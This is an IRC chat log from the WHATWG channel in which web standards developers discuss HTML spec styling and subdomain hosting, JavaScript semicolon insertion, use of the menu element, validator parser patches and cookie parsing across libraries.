[13:06:00.0000] <mpilgrim>
yes, that seems more likely

[13:07:00.0000] <Philip`>
Analytics software ought to activate the user's webcam and take a snapshot, so it can determine how engaged they are with the content

[13:09:00.0000] <hober>
ganalytics + <device> :)

[13:09:01.0000] <mpilgrim>
that's coming in Analytics 4.0: Telescreen edition

[13:37:00.0000] <jgraham>
Philip`: It is occasionally pointed out to me that the number of real pages that do canvas.getContxt("2d\u0000") is 0

[13:38:00.0000] <Dashiva>
jgraham: Until someone realizes there's a buffer overflow hidden in there

[13:39:00.0000] <jgraham>
Dashiva: Well that is quite differnt of course

[13:49:00.0000] <Philip`>
jgraham: Sure, the cost:benefit ratio of fixing that particular test case is infinite

[13:50:00.0000] <Philip`>
but that's a problem for whoever has the job of prioritising bug fixes, not for me

[13:51:00.0000] <Philip`>
(Also it's a problem for anyone who cares about 100% pass rates)

[13:51:01.0000] <Philip`>
(e.g. if W3C Rec status is dependent on that)

[13:51:02.0000] <Philip`>
(but that's still not my problem)

[13:57:00.0000] <jamesr_>
making sure implementations handle odd/mangled/etc strings correctly is normally important security wise

[15:31:00.0000] <benschwarz>
paul_irish: Ola!

[15:32:00.0000] <paul_irish>
benschwarz, welcome!!! (guy who redesigned the w3c html5 author spec to look pretty n all that )

[15:33:00.0000] <Hixie>
oooh, i wanted to talk to that guy!

[15:33:01.0000] <benschwarz>
Thanks for the intro. Your tweet prompted me to log here

[15:33:02.0000] <Hixie>
benschwarz: do you mind if i reuse your style sheet (probably with modifications) on the whatwg site also?

[15:34:00.0000] <benschwarz>
Hixie: I'd love you to do that. I was thinking that I should "licence it" for uses by the w3c and whatwg only yesterday—Just to be clear of my intentions

[15:34:01.0000] <Hixie>
sweet

[15:34:02.0000] <Hixie>
dunno when i'll get to it but http://www.w3.org/Bugs/Public/show_bug.cgi?id=11229 is tracking this particular issue

[15:35:00.0000] <Hixie>
my plan is to make the "author view" version of the whatwg spec use your style sheet

[15:35:01.0000] <Hixie>
see that bug and the reddit comment linked to from there for more details

[15:35:02.0000] <Hixie>
if you would like i can set it up so that it grabs the style sheet from somewhere you control, so you can update it in realtime

[15:35:03.0000] <benschwarz>
I've got some additional fixes for colour and some bugs in opera that brucel raised…

[15:35:04.0000] <Hixie>
(either on your site, or i can give you an account on whatwg.org)

[15:36:00.0000] <benschwarz>
Hixie: I think that would be best, so that I can have some form of active deployment

[15:36:01.0000] <benschwarz>
Right now the process is that I build it here, work against it, commit it to a repo, Mike merges from git to cvs, then *magic*

[15:37:00.0000] <Hixie>
benschwarz: yeah

[15:37:01.0000] <benschwarz>
Hixie: I'm happy for an account on whatwg…

[15:38:00.0000] <Hixie>
benschwarz: w3c kinda frown on linking out to other sites, but there's no problem with linking out on whatwg.org so if your site can handle the (pretty small) load, that's fine by me

[15:39:00.0000] <Hixie>
so it's entirely up to you

[15:40:00.0000] <Hixie>
(if you would rather an account on whatwg.org, let me know your preferred username)

[15:40:01.0000] <oojacoboo>
that new "too slow" alert seems like it's made the spec more sluggish

[15:40:02.0000] <Hixie>
oojacoboo: i doubt it's the alert that's made it more sluggish, but it might just be bringing attention to it :-)

[15:41:00.0000] <oojacoboo>
seems fine now that it's gone

[15:41:01.0000] <oojacoboo>
it was struuuuuglng with it up

[15:41:02.0000] <benschwarz>
Hixie: Tell you what—Lets do whatwg.org, because of the cross domain issues that paul_irish raised with webfonts…

[15:41:03.0000] <Hixie>
oojacoboo: oh while the alert is up it might be slow because the alert is semi-transparent position:fixed and your browser might not be good at scrolling that

[15:41:04.0000] <Hixie>
benschwarz: k, sounds good

[15:42:00.0000] <Hixie>
benschwarz: preferred username?

[15:42:01.0000] <benschwarz>
and the infrastructure is already going…

[15:42:02.0000] <benschwarz>
Hixie: 'benschwarz' will do fine

[15:42:03.0000] <Hixie>
k

[15:42:04.0000] <Hixie>
do you prefer to work using scp, or do you prefer to edit things like on the host over ssh?

[15:42:05.0000] <Hixie>
edit things live, even

[15:43:00.0000] <benschwarz>
Hixie: If I can build the spec locally just as easily as the author-spec, then I'd scp it.

[15:43:01.0000] <Hixie>
build the spec locally?

[15:44:00.0000] <benschwarz>
Hixie: Yeah, on my machine

[15:44:01.0000] <benschwarz>
Just to style against the HTML

[15:45:00.0000] <Hixie>
what are your inputs and outputs?

[15:45:01.0000] <Hixie>
(just trying to work out what exactly you mean by "build")

[15:45:02.0000] <benschwarz>
Oh, sorry…

[15:45:03.0000] <Hixie>
(there's a number of steps involved from the original source file all the way to what's on the w3c site, and the whatwg site has a slightly different branch of that process)

[15:46:00.0000] <benschwarz>
I'd checkout the source of the entire spec, run the build command, then write my stylesheets against the HTML product.

[15:46:01.0000] <Hixie>
(so it's not entirely clear what you mean!)

[15:46:02.0000] <benschwarz>
Hixie: Ah sure—Well with the author spec…

[15:46:03.0000] <benschwarz>
https://github.com/benschwarz/html5forAuthors

[15:46:04.0000] <benschwarz>
I built it using the Makefile that sideshowbarker uses

[15:47:00.0000] <Hixie>
aah

[15:47:01.0000] <Hixie>
i think that's a part of the process that doesn't happen for the whatwg copy

[15:47:02.0000] <Hixie>
hmm

[15:47:03.0000] <Hixie>
i guess what you mean by "spec source" is actually the post-processed single-page version of the spec

[15:48:00.0000] <Hixie>
what i consider my primary "output" :-)

[15:48:01.0000] <Hixie>
aka http://www.whatwg.org/specs/web-apps/current-work/

[15:49:00.0000] <benschwarz>
Hixie: Yes right :)

[15:49:01.0000] <benschwarz>
Hixie: How about you throw what you have at me, I'll work it out…

[15:49:02.0000] <benschwarz>
otherwise I'm sure that I can ask

[15:50:00.0000] <Hixie>
i'm just trying to work out how where to put things

[15:50:01.0000] <Hixie>
so your output is a bunch of HTML, CSS, and JS files, right?

[15:50:02.0000] <benschwarz>
Yep

[15:50:03.0000] <Hixie>
is your work environment unix?

[15:51:00.0000] <Hixie>
or rather:

[15:51:01.0000] <benschwarz>
Mac, but uyes

[15:51:02.0000] <benschwarz>
yes *

[15:51:03.0000] <Hixie>
hm

[15:51:04.0000] <Hixie>
so here's what i figure the long-term situation might be

[15:52:00.0000] <Hixie>
instead of the current situation where we have a multipage copy that has radio buttons to switch style sheets, we have the author version of the spec actually be on its own domain, like authors.whatwg.org/html/ or some such

[15:52:01.0000] <Hixie>
with you in charge of authors.whatwg.org

[15:52:02.0000] <Hixie>
and then each time i regen the script, i can ping a CGI script on authors.whatwg.org that regens the author version from the full version

[15:52:03.0000] <Hixie>
what do you think?

[15:53:00.0000] <benschwarz>
Hixie: sounds good to me!

[15:53:01.0000] <Hixie>
and we don't need the cgi scripts in the author version, so that solves that issue (the cgi scripts being the ones that show the current status of each section, and the bug filing tool)

[15:53:02.0000] <Hixie>
awesome

[15:53:03.0000] <Hixie>
let's get that set up

[15:53:04.0000] <benschwarz>
so when you say authors spec, you mean web developer edition

[15:54:00.0000] <benschwarz>
I always found that terminology "web authors" so ambiguous

[15:54:01.0000] <Hixie>
yeah

[15:54:02.0000] <Hixie>
yeah, it's a historical thing

[15:54:03.0000] <Hixie>
we talk in terms of authors, users, implementors, and spec editors

[15:55:00.0000] <Hixie>
but authors these days are really web devs

[15:55:01.0000] <Hixie>
what should the subdomain be rather than authors.whatwg.org?

[15:55:02.0000] <Hixie>
help.whatwg.org? webdevs.whatwg.org?

[15:55:03.0000] <Hixie>
guides.whatwg.org?

[15:56:00.0000] <Hixie>
note that the whatwg.org/c spec (the "complete" spec) contains more than just HTML (more than the whatwg.org/html spec)

[15:56:01.0000] <Hixie>
hence my suggestion that we put this guide in something.whatwg.org/html, so that later we can add guides for other things too

[15:56:02.0000] <Hixie>
like web workers, web storage, etc

[15:56:03.0000] <benschwarz>
sure…

[15:57:00.0000] <benschwarz>
Hixie: It sounds a bit official, but don't you think something like developers.whatwg.org would be good?

[15:58:00.0000] <benschwarz>
After all, web developers are the target


2011-01-05
[16:07:00.0000] <Hixie>
benschwarz: wfm

[16:09:00.0000] <Hixie>
hm, turns out we have a help.whatwg.org already, looks like it's run by MikeSmith

[16:11:00.0000] <MikeSmith>
/me wakes up

[16:11:01.0000] <Hixie>
and a syntax.whatwg.org, i wonder what that was for

[16:11:02.0000] <MikeSmith>
I'm just to the first one to have put anything up on help.whatwg.org I guess

[16:12:00.0000] <MikeSmith>
I'm happy if anybody wants to put whatever else they'd like there

[16:12:01.0000] <Philip`>
http://forums.whatwg.org/viewtopic.php?t=11

[16:13:00.0000] <MikeSmith>
Hixie: I think syntax.whatwg.org might have been intended for hosting that relaxng and datatype library for the validator

[16:13:01.0000] <Philip`>
"I found the DTD file for the HTML 5.0 Draft. <http://syntax.whatwg.org/sgml/html5core+wf2/pre1/dtd>"

[16:13:02.0000] <MikeSmith>
*the relaxng schemas

[16:13:03.0000] <Philip`>
MikeSmith: That was http://syntax.whattf.org/, I thought

[16:13:04.0000] <MikeSmith>
Philip`: yeah

[16:13:05.0000] <Hixie>
syntax.whatwg.org is empty as far as i can tell

[16:13:06.0000] <Hixie>
i guess i'll delete it for now

[16:13:07.0000] <Hixie>
can always add it back if it's actually useful

[16:56:00.0000] <Hixie>
http://www.w3.org/mid/AANLkTikqcJmCoHfRo1JwzW+s_jp5PsmaZ3mHnEEwq_Cn⊙mgc pretty much summarises the problem with making decisions based on consensus

[16:57:00.0000] <jamesr_>
Hixie: are you not in good standing with the AX TF?

[16:58:00.0000] <Hixie>
dunno, what is "good standing" for the tf?

[16:58:01.0000] <Hixie>
that wasn't what i was referring to, though

[16:58:02.0000] <Hixie>
i just meant, the idea of deciding whether a group agrees to something or not being resolved by defining the group as those who agree

[16:59:00.0000] <Hixie>
either through gerrymandering or attrition

[17:01:00.0000] <jamesr_>
speaking of, do you read the public-canvas-api list or know what they are up to?

[17:16:00.0000] <bga_>
js asi is evil

[17:18:00.0000] <MikeSmith>
hober: congrats (saw your tweet)

[17:21:00.0000] <bga_>
brendaneich console.log\n(1, eval)();

[17:22:00.0000] <jaket>
great word, gerrymandering

[17:23:00.0000] <Hixie>
jamesr_: i read it, wasn't aware they were up to anything

[17:23:01.0000] <Hixie>
jamesr_: anything in particular?

[17:24:00.0000] <jamesr_>
Hixie: they keep talking about a shadow DOM in canvas and i'm not sure what they mean if it isn't fallback content

[17:26:00.0000] <Hixie>
they seem to be discussing what the spec says without realising the spec has said it for several months now

[17:26:01.0000] <Hixie>
the idea is that the fallback content of a <canvas> is supposed to be focusable even when the <canvas> isn't falling back

[17:26:02.0000] <Hixie>
so that you can make the fallback reflect the image

[17:27:00.0000] <Hixie>
this lets you get (for free) things like tabbing around controls

[17:27:01.0000] <Hixie>
works in conjunction with the drawFocusRing() method to automatically render focus rings on controls on the canvas

[17:32:00.0000] <brendaneich>
bga_: that is not JS ASI

[17:32:01.0000] <brendaneich>
bga_: the first rule of ASI-club is there's no insertion if there is no error

[17:34:00.0000] <bga_>
a || (a = b)\n(b && c) || d

[17:35:00.0000] <brendaneich>
bga_: where is the error?

[17:35:01.0000] <bga_>
try in web inspector

[17:36:00.0000] <Hixie>
hober: will you be working on things like http://www.w3.org/Bugs/Public/show_bug.cgi?id=10694 ?

[17:36:01.0000] <brendaneich>
bga_: what happens? i'm not talking about web inspector, i'm talking about JS

[17:37:00.0000] <bga_>
in js file too

[17:37:01.0000] <bga_>
v8 concat two lines

[17:38:00.0000] <bga_>
and tries to call function

[17:38:01.0000] <bga_>
because sees call operator

[17:41:00.0000] <bga_>
in ff4 too

[17:41:01.0000] <brendaneich>
bga_: why do you think there's an error requiring semicolon insertion?

[17:41:02.0000] <brendaneich>
bga_: remember the first rule of ASI fight-club

[17:41:03.0000] <brendaneich>
if there's no error, there is no insertion

[17:41:04.0000] <brendaneich>
bga_: you're thinking the \n should cause a ; to be inserted?

[17:41:05.0000] <brendaneich>
v8 and ff4 are correct

[17:43:00.0000] <bga_>
yes but many ppl do not insert ; in js code

[17:43:01.0000] <bga_>
its trap :)

[17:43:02.0000] <aho>
it's fine to use menu for menus, isn't it?

[17:43:03.0000] <bga_>
like return\n{}

[17:46:00.0000] <bga_>
js should has minimal count of traps for newbies imho

[17:46:01.0000] <aho>
i mean, it says those "actions" can be links... and going to a different page is an immediate action, isn't it?

[17:47:00.0000] <aho>
bga_, jslint helps

[17:48:00.0000] <bga_>
aho its spike-nail

[17:48:01.0000] <aho>
what's that supposed to mean?

[17:50:00.0000] <bga_>
english dictonary fail. sorry

[17:51:00.0000] <bga_>
i mean crutch

[17:51:01.0000] <aho>
yes, it is

[17:52:00.0000] <aho>
but if it's integrated into your text editor or IDE, it's not much of an issue

[17:54:00.0000] <bga_>
may be is better to fix lang issue instead keep "backward compatibility"?

[17:54:01.0000] <aho>
you can't really fix js

[17:55:00.0000] <aho>
it's out there... gotta deal with it

[17:55:01.0000] <bga_>
i mean new es6

[17:55:02.0000] <aho>
js is the least of my problems though

[17:56:00.0000] <bga_>
js has alot of traps, bugs and fails imho

[17:56:01.0000] <aho>
it's very straightforward imo

[17:57:00.0000] <bga_>
or i too critical

[17:57:01.0000] <Hixie>
man there's all kinds of things that aren't specced right for type=email multiple

[17:57:02.0000] <aho>
i write lots of js and it's generally completely pain-free

[17:58:00.0000] <aho>
oh it's the Hixie :) is it fine to use menu for menus? :f

[17:58:01.0000] <Hixie>
hm?

[17:58:02.0000] <Hixie>
what do you mean by "menus"?

[17:58:03.0000] <aho>
top/side navigation bar thingies

[17:58:04.0000] <aho>
those things which are typically done with ul elements

[17:59:00.0000] <Hixie>
"The menu element represents a list of commands."

[17:59:01.0000] <Hixie>
if your "navigation bar" is a list of commands, then sure

[17:59:02.0000] <aho>
and a command can be a link... and going to some site is some immediate action...

[18:00:00.0000] <aho>
so... uhm... it's fine, isn't it?

[18:00:01.0000] <Hixie>
<a href=""></a> is a command, per the html spec, yes

[18:02:00.0000] <aho>
thing is, i kinda prefer using menu instead of ul for those things, since i wont have to re-reset them and because i think menu makes a little bit more sense than ul

[18:02:01.0000] <Hixie>
from the html spec's point of view, either is defensible

[18:02:02.0000] <aho>
thank you :x

[18:03:00.0000] <Hixie>
<menu> really is intended for drop-down menus (type=toolbar) and context menus (type=context), the list state (no type attribute) is basically only allowed for historical reasons

[18:03:01.0000] <Hixie>
<nav> is the important thing to have in your DOM if you have a navigation list

[18:03:02.0000] <aho>
ye, nav>menu>li>a ish

[18:04:00.0000] <Hixie>
whether you do <nav><p><a>...</a><p><a>...</a></nav>, <nav><ul><li><a>...</a><li><a>...</a></ul></nav>, <nav><menu><p><a>...</a><p><a>...</a></menu></nav>, or <nav><menu><li><a>...</a><li><a>....</a></menu></nav> is really up to you

[18:05:00.0000] <aho>
kay :)

[18:07:00.0000] <aho>
bga_, the closure compiler also helps you to write somewhat more robust js. there is also the option to skip js entirely (e.g. by using GTW, pyjamas, and things like that)

[18:08:00.0000] <bga_>
i know

[18:09:00.0000] <bga_>
es4 was very good

[18:34:00.0000] <brendaneich>
bga_: opinions vary on that

[18:35:00.0000] <brendaneich>
bga_: js has only a few such "I expected ASI here but i forgot the ASI-club rules" cases -- return is another, yet python (and ruby i think) have that one too

[18:35:01.0000] <brendaneich>
bga_: being only somewhat line oriented is a hard spot, i agree -- significant newlines all over, or nowhere, seem better

[18:35:02.0000] <brendaneich>
bga_: CoffeeScript goes hard the significant-newlines way

[18:36:00.0000] <brendaneich>
harder than python even -- no colon to separate condition from consequent, e.g. (if foo:\n  bar() in python is if foo\n  bar in coffee)

[20:20:00.0000] <hober>
Hixie: maybe! I'll let you know after I start. :)

[20:51:00.0000] <erlehmann>
Hixie, what does “our TF ducks in line” mean in that mail?

[21:11:00.0000] <Hixie>
erlehmann: beats me

[22:00:00.0000] <karlcow>
sweet Error500 http://tools.ietf.org/html/draft-ietf-httpstate-cookie

[01:19:00.0000] <hsivonen>
Hixie: do you happen to recall how many pages you analyzed when you concluded that the parser should break out of foreign lands when seeing a start tag for an old HTML element?

[02:29:00.0000] <annevk>
http://blog.mozilla.com/rob-sayre/2011/01/04/skating-to-where-the-puck-is-going-to-be/ -- more reasons for having competing browsers

[02:29:01.0000] <annevk>
at some point I should collect them

[02:30:00.0000] <annevk>
(though these are somewhat more generic, not really tied to having different rendering engines)

[03:17:00.0000] <annevk>
hober, btw, anything in particular you'll be working on?

[03:29:00.0000] <jgraham>
annevk: This is Apple. If he tells you he will have to kill you. And everyone you have ever spoken to. Including himself. Not really worth it.

[03:45:00.0000] <annevk>
jgraham, so the interwebs?

[03:46:00.0000] <annevk>
I see their evil plan now :)

[03:47:00.0000] <annevk>
But I know what plenty of people at Apple are doing... Maybe I should do something about security...

[04:11:00.0000] <hsivonen>
still hoping that one day Ubuntu gets their QA act together...

[04:20:00.0000] <MikeSmith>
hsivonen: I think they could if they really wanted to

[04:21:00.0000] <MikeSmith>
it's just that they don't really want to

[04:21:01.0000] <MikeSmith>
calculated tradeoff at your expense

[04:21:02.0000] <jgraham>
hsivonen: Ubuntu has QA?

[04:21:03.0000] <jgraham>
But, seriously, I imagine doing QA for Ubuntu would be a nightmare

[04:22:00.0000] <MikeSmith>
heh

[04:24:00.0000] <jgraham>
I mean there is a roughly infinite amount of hardware to test, you don't control much of the code you are shipping, and it's not really clear how you automate all the things you might want to test

[04:25:00.0000] <MikeSmith>
add to that the fact that you have lots of users demanding that you get "stable" updates out to them as often as possible

[04:26:00.0000] <hsivonen>
MikeSmith: I'm slowly digging myself out from under my todo list of unpushed patches. I just pushed a couple of yours to the htmlparser repo.

[04:26:01.0000] <hsivonen>
(It looks like approvals on Gecko 2.0 patches are slow, so I went ahead and allowed the htmlparser repo get ahead of m-c)

[04:26:02.0000] <MikeSmith>
ah cool

[04:26:03.0000] <MikeSmith>
thanks

[04:27:00.0000] <MikeSmith>
hsivonen: I've goth a couple other patches queued up for your review, but don't want to swamp you

[04:28:00.0000] <jgraham>
(Microsoft have the advantage of roughly infinite amounts of money to buy hardware, control over most of the relevant code, and multi-year release cycles)

[04:29:00.0000] <jgraham>
(Apple have the advantage of control over the hardware and software, control over the code, and multi-year release cycles)

[04:29:01.0000] <jgraham>
(as well as roughly infinite money)

[04:29:02.0000] <hsivonen>
jgraham: hardware support regressions aren't the only thing I'm unhappy about

[04:29:03.0000] <hsivonen>
jgraham: they also shipped with broken gconf and leaky nautilus and leaky vinagre

[04:30:00.0000] <hsivonen>
about on every third logout, my ~/.gconf/ gets corrupted and I have to ssh into the box from my Mac to restore .gconf from a backup

[04:31:00.0000] <MikeSmith>
wow

[04:31:01.0000] <hsivonen>
also, it's a good idea to kill vinagre and nautilus at least daily

[04:31:02.0000] <MikeSmith>
that's pretty bad

[04:31:03.0000] <jgraham>
hsivonen: Right, that's bad. Although leakiness is one of the harder things to pick up. But my point was that the difficulty level of shipping non-buggy Ubuntu is high

[04:31:04.0000] <jgraham>
Especially compared to OSX

[04:32:00.0000] <jgraham>
This is a problem, not an excuse

[04:32:01.0000] <gsnedders>
Leaky nautilus? I hadn't noticed.

[04:32:02.0000] <hsivonen>
jgraham: yes and yes

[04:32:03.0000] <gsnedders>
Admittedly, I rarely use Nautilus.

[04:32:04.0000] <jgraham>
gsnedders: Nautilus provides the desktop by default

[04:32:05.0000] <jgraham>
Even if you don't use the file manager

[04:33:00.0000] <jgraham>
(which I don't)

[04:33:01.0000] <jgraham>
(my nautilus seems to be well behaved though. Mind you I am on 10.04)

[04:33:02.0000] <jgraham>
(dunno what vinagre is)

[04:34:00.0000] <hsivonen>
jgraham: vinagre is the bundled VNC client

[04:36:00.0000] <annevk>
https://bitbucket.org/ms2ger/ -- why does Web DOM Core have this ?! sign behind it?

[04:37:00.0000] <MikeSmith>
annevk: that's a logo that was added manually

[04:37:01.0000] <Philip`>
https://bitbucket-assetroot.s3.amazonaws.com:443/c/photos/2010/Sep/04/logo_avatar.png

[04:37:02.0000] <Philip`>
Sounds like a logo or avatar

[04:37:03.0000] <MikeSmith>
yeah, you can change it in the admin settings for the repo

[04:38:00.0000] <MikeSmith>
hey jgraham btw, over the break I made a bunch of updates to the HTML ES5 spec

[04:39:00.0000] <MikeSmith>
http://sideshowbarker.github.com/es5-spec/

[04:39:01.0000] <MikeSmith>
for one thing, all of the errata are not incorporated into the main body of the document

[04:39:02.0000] <MikeSmith>
though they remain available as annotations also

[04:40:00.0000] <MikeSmith>
for anybody who wants to know what changes since edition 5 was first published

[04:40:01.0000] <MikeSmith>
I also incorporated all the additional changes that were made for edition 5.1

[04:40:02.0000] <MikeSmith>
and made those available as annos as well

[04:41:00.0000] <annevk>
MikeSmith, oh ok

[04:41:01.0000] <MikeSmith>
jgraham: and I added annos for all the stuff from http://wiki.whatwg.org/wiki/Web_ECMAScript

[04:42:00.0000] <jgraham>
MikeSmith: Awesome

[04:42:01.0000] <MikeSmith>
plus I added a whole bunch of internal hyperlinks

[04:42:02.0000] <hsivonen>
aargh. why is bugzilla.validator.nu so slow? Is someone attacking it again?

[04:43:00.0000] <MikeSmith>
jgraham: for the hyperlinks, I basically just added hyperlinks for all the stuff that Jason Orendorff has hyperlinked in his http://people.mozilla.org/~jorendorff/es5.html doc

[04:43:01.0000] <MikeSmith>
(which seems to be 404 now)

[04:44:00.0000] <hsivonen>
looks like the validator process is eating up CPU...

[04:45:00.0000] <hsivonen>
no runaway memory behavior though, so I guess I'll let whoever is validating stuff do their thing

[04:47:00.0000] <jgraham>
MikeSmith: Links seem to be sadly hard to distinguish visually

[04:47:01.0000] <jgraham>
In Opera at least

[04:47:02.0000] <MikeSmith>
yeah, I need to restyle them

[04:47:03.0000] <MikeSmith>
suggestions welcome

[04:48:00.0000] <MikeSmith>
the problem is that in some algorithms, there are lots of links

[04:48:01.0000] <MikeSmith>
along with boldfaced stuff

[04:48:02.0000] <jgraham>
Tyhat's true in HTML5. Just making them blue or whatever (no underline) would work

[04:48:03.0000] <MikeSmith>
OK

[04:48:04.0000] <MikeSmith>
hang on, I'll fix it now

[04:54:00.0000] <MikeSmith>
jgraham: please reload and lemme know if it's an improvement or not

[04:57:00.0000] <MikeSmith>
hsivonen: I don't remember if I pinged you set about this or not, but the one other parser patch I have is for implementing zcorpan 's request for reporting the names and locations of unclosed elements

[04:57:01.0000] <jgraham>
MikeSmith: Much better

[04:57:02.0000] <MikeSmith>
cool

[04:58:00.0000] <MikeSmith>
jgraham: if you have suggestions for other things / classes of things that should be hyperlinked, lemme know

[04:58:01.0000] <MikeSmith>
hsivonen: https://bitbucket.org/validator/htmlparser-patches/qseries?apply=t&qs_apply=unclosed-elements

[04:58:02.0000] <jgraham>
MikeSmith: Random sampling suggests you don't link all instances of e.g. ToInt32

[04:58:03.0000] <jgraham>
MikeSmith: http://sideshowbarker.github.com/es5-spec/#x9.4

[04:58:04.0000] <jgraham>
/me is away now

[05:00:00.0000] <MikeSmith>
/me peruses ToInt32 instances

[05:00:01.0000] <MikeSmith>
hsivonen: the raw patch is at https://bitbucket.org/validator/htmlparser-patches/raw/8bb1e0fbd733/unclosed-elements

[05:01:00.0000] <MikeSmith>
(other URL is for the line-numbered/ syntax-highlighted pretty-printed version)

[05:01:01.0000] <MikeSmith>
hsivonen: and deployed at http://www.w3.org/html/check for testing

[05:02:00.0000] <hsivonen>
MikeSmith: thanks. taking a look now...

[05:12:00.0000] <hsivonen>
hmm. I think I'll write my review comments as a patch that applies on top of yours

[05:12:01.0000] <hsivonen>
there are some tweaks I'm inclined to make

[05:13:00.0000] <hsivonen>
eventually, it might make sense to try to expose the implied tags to the application through some long-term-supported API

[05:14:00.0000] <hsivonen>
MikeSmith: NetBeans patches the parser in order to maintain a data structure similar to the one you are adding

[05:14:01.0000] <MikeSmith>
OK

[05:15:00.0000] <MikeSmith>
I hope that patch is a decent basis for whatever else you have in mind to add

[05:15:01.0000] <MikeSmith>
I really wasn't sure if it was the right approach or not

[05:16:00.0000] <hsivonen>
MikeSmith: my review comments are trivialities like the exact placement of the // [NOCPP[ stuff

[05:16:01.0000] <MikeSmith>
ok

[05:16:02.0000] <MikeSmith>
cool

[05:22:00.0000] <hsivonen>
MikeSmith: do I understand correctly that there isn't a bug number to go with this patch?

[05:22:01.0000] <hsivonen>
(not to imply that there should be; just checking)

[05:23:00.0000] <MikeSmith>
hsivonen: there is a bug

[05:23:01.0000] <MikeSmith>
/me looks for the number

[05:24:00.0000] <karlcow>
hmmm not sure it matters but… opinions?

[05:24:01.0000] <karlcow>
in adam spec http://tools.ietf.org/html/draft-ietf-httpstate-cookie-20, there are algorithm for

[05:24:02.0000] <karlcow>
* creating cookies by the server

[05:24:03.0000] <karlcow>
* storing cookies by the user agent

[05:24:04.0000] <karlcow>
* sending cookies to the server

[05:24:05.0000] <karlcow>
* parsing the cooking sent by the server

[05:24:06.0000] <MikeSmith>
hsivonen: http://bugzilla.validator.nu/show_bug.cgi?id=689

[05:24:07.0000] <karlcow>
but no algorithm for what servers should do when parsing the value sent by the client aka what should they do with "Cookie: …"

[05:24:08.0000] <karlcow>
s/cooking/cookies/

[05:25:00.0000] <hsivonen>
MikeSmith: thanks

[05:27:00.0000] <annevk>
karlcow, servers can do whatever they want

[05:27:01.0000] <MikeSmith>
karlcow:

[05:27:02.0000] <MikeSmith>
"   The semantics of individual cookies in the Cookie header are not

[05:27:03.0000] <MikeSmith>
   defined by this document.  Servers are expected to imbue these

[05:27:04.0000] <MikeSmith>
   cookies with application-specific semantics."

[05:27:05.0000] <MikeSmith>
http://tools.ietf.org/html/draft-ietf-httpstate-cookie-20#section-4.2.2

[05:28:00.0000] <karlcow>
there is a discussion about Cookie.py module and what they should do for parsing it, what is legal or not, etc.

[05:29:00.0000] <karlcow>
and the different languages libraries are looking at each other

[05:29:01.0000] <karlcow>
Java will do one thing, ruby another one and python another one.

[05:33:00.0000] <MikeSmith>
karlcow: what are any of them doing at the library level with the header contents?

[05:33:01.0000] <MikeSmith>
seems like they should just be treating it as an opaque string

[05:33:02.0000] <MikeSmith>
and just passing it on as is to whatever app is using the library code

[05:34:00.0000] <MikeSmith>
abarth deserves some extra credit for getting the word "imbue" into a spec

[05:37:00.0000] <karlcow>
python's Cookie.py rejects colon, Java servlet allows it, perl allows it, I do not about ruby

[05:38:00.0000] <annevk>
hsivonen, s/2010/2011/ ?

[05:38:01.0000] <MikeSmith>
seems like Cookie.py is wrong then

[05:38:02.0000] <annevk>
hsivonen, in the license file

[05:38:03.0000] <karlcow>
http://cpansearch.perl.org/src/GAAS/libwww-perl-5.835/lib/HTTP/Cookies.pm

[05:38:04.0000] <annevk>
why do you need interop between programming libraries?

[05:39:00.0000] <karlcow>
MikeSmith: it's why I was wondering if it should be documented for people developing libraries

[05:39:01.0000] <hsivonen>
annevk: oh. right. the patch was made in 2010. Thanks.

[05:39:02.0000] <karlcow>
these libraries being used for clients and servers

[05:41:00.0000] <annevk>
happened to see the change as it came by for "WHATWG" on twitter

[05:41:01.0000] <karlcow>
annevk: because there are used in the design of clients and servers?

[05:41:02.0000] <karlcow>
(just asking and trying to see if miss something in the reasonning)

[05:42:00.0000] <annevk>
I think what you miss is when you port an application from one language to another cookie semantics are the least of your troubles

[05:43:00.0000] <annevk>
if the libraries are used for clients as well obviously that part needs to be changed...

[05:43:01.0000] <annevk>
if they want to work with other servers anyway

[05:43:02.0000] <karlcow>
there are always used in both ways.

[05:44:00.0000] <karlcow>
sometimes by the same application such as a proxy

[05:44:01.0000] <MikeSmith>
hsivonen: I have http://twitter.com/vnu_changes set up to tweet commit notifications from all repos under https://bitbucket.org/validator

[05:44:02.0000] <karlcow>
hmmm difficult

[05:45:00.0000] <MikeSmith>
hsivonen: (which includes a mirror of the htmlparser repo)

[05:51:00.0000] <MikeSmith>
/me steps away for a bit

[05:59:00.0000] <annevk>
omg

[05:59:01.0000] <annevk>
hybi :/

[05:59:02.0000] <annevk>
I should just unsubscribe

[06:00:00.0000] <annevk>
"A bit of pragmatism" -- lets ignore your security concerns that are irrelevant in my opinion and move on

[06:00:01.0000] <annevk>
I have Arrested Development to entertain me in such ways, no need for real live to be like it

[06:17:00.0000] <hsivonen>
MikeSmith: hmm. wouldn't it make sense to put the locators on the stack nodes instead of introducing these two new lists?

[06:17:01.0000] <MikeSmith>
yeah

[06:18:00.0000] <hsivonen>
MikeSmith: OK. I'll write a patch for that on top of your patch

[06:18:01.0000] <MikeSmith>
thanks

[06:18:02.0000] <MikeSmith>
btw, I made a minor update to the patch

[06:19:00.0000] <MikeSmith>
to remove the System.err debugging cruft

[06:20:00.0000] <hsivonen>
MikeSmith: I had already removed those lines in my follow-up patch ;-)

[06:20:01.0000] <MikeSmith>
yeah, I figured you probably had

[06:21:00.0000] <MikeSmith>
I didn't notice them til I re-read through the patch after I pinged you

[06:36:00.0000] <annevk>
hsivonen, fwiw, just replied to sam ruby

[06:53:00.0000] <hsivonen>
annevk: do you mean on public-html-xml?

[06:56:00.0000] <annevk>
yes

[06:56:01.0000] <annevk>
just in case you were replying

[06:56:02.0000] <annevk>
but if you have something else to add...

[06:58:00.0000] <hsivonen>
I'll add one observation

[06:59:00.0000] <hsivonen>
actually, maybe it's better that I don't

[07:08:00.0000] <hsivonen>
ah. good old java.lang.ClassCastException: org.xml.sax.InputSource cannot be cast to nu.validator.xml.TypedInputSource

[07:13:00.0000] <hsivonen>
the tweaked implementation correctly flags the start tag of a formatting element if a clone of that formatting element was unclosed

[07:13:01.0000] <hsivonen>
I hope users appreaciate that instead of getting confused

[07:41:00.0000] <annevk>
http://adaptivethemes.com/are-blocks-section-or-div-an-html5-conumdrum -- optional headers?

[07:41:01.0000] <annevk>
I wonder how that works

[07:43:00.0000] <Philip`>
"Can you cite where it states that sections must have a heading?" "lets just say that’s my position on HTML5 usage - if your <section> does not have a heading then its highly improbable that its a section"

[07:43:01.0000] <Philip`>
Sounds like he's just making problems for himself

[07:46:00.0000] <annevk>
oh right, we changed that

[07:48:00.0000] <annevk>
jgraham, should we file an issue on HTML5 or WebKit for that markup serialization issue?

